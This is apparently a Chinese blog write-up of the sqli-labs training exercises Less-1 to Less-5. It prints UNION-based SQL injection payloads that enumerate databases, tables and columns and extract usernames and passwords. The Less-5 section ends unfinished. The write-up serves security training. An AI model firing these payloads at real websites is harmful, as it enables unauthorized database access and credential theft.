• sqli lab 1-4


    less-1

    • 爆库
      id=1222’ union select 1,group_concat(schema_name),database() from information_schema.schemata
      –+#
      在这里插入图片描述
    • 爆表
      ?id=1222’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() – #
      在这里插入图片描述
    • 爆字段
      —缺,下面有less-2
    • 爆数据
      ?id=123’ union select 1,group_concat(username),group_concat(password) from users
      –+#
      在这里插入图片描述
      查数据库名–>查表名–>查字段名–>查数据

    group_concat()函数的利用,使一个显示位可爆多组数据

    less-2

    • and 1=2 无数据 判断为数字型注入
    • 爆数据库
      ?id=22222 union select 1,group_concat(schema_name),1 from information_schema.schemata
      在这里插入图片描述
    • 爆表
      ?id=22222 union select 1,group_concat(table_name),1 from information_schema.tables where table_schema=database()
      在这里插入图片描述
    • 爆字段
      ?id=22222 union select 1,group_concat(column_name),1 from information_schema.columns where table_name=‘uagents’
      在这里插入图片描述
    • 爆数据
      ?id=22222 union select 1,group_concat(uagent),group_concat(ip_address) from uagents
      在这里插入图片描述
      空的

    less-3

    • 题目提示输入数据
    • and 1=2,1=1无反应 ?id=1 ‘报错
      在这里插入图片描述
      可看出来闭合为’)
      ?id=3 ') – #
      在这里插入图片描述
      爆库
      ?id=555 ') union select 1,2,group_concat(schema_name) from information_schema.schemata – #
      在这里插入图片描述

    less-4

    尝试:?id=1 ’ "
    在这里插入图片描述
    闭合 ")
    ?id=5555 ") union select database(),database(),user()-- #
    在这里插入图片描述
    爆此数据库表
    ?id=5555 ") union select 1,1,group_concat(table_name) from information_schema.tables where table_schema = database() – #
    在这里插入图片描述

    less-5

    ?id=2’
    在这里插入图片描述
    ‘闭合
    但?id=2’ – #
    在这里插入图片描述

  • 相关阅读:
    总结:使用pll来进行“异步复位,同步释放”
    总结“异步复位,同步释放”
    用quartusII再带的modelsim进行后仿真(时序仿真)的操作步骤
    Notepad++新建文件默认保存格式修改问题
    英语翻译正确的思维
    浅谈web网站架构演变过程
    MVC-API(二)
    C#面向对象编程的基础
    C# 堆栈讲解
    AutoCAD 2013 之R14版本下载地址整理汇总
  • 原文地址:https://www.cnblogs.com/l0nmar/p/12553821.html
Copyright © 2020-2023  润新知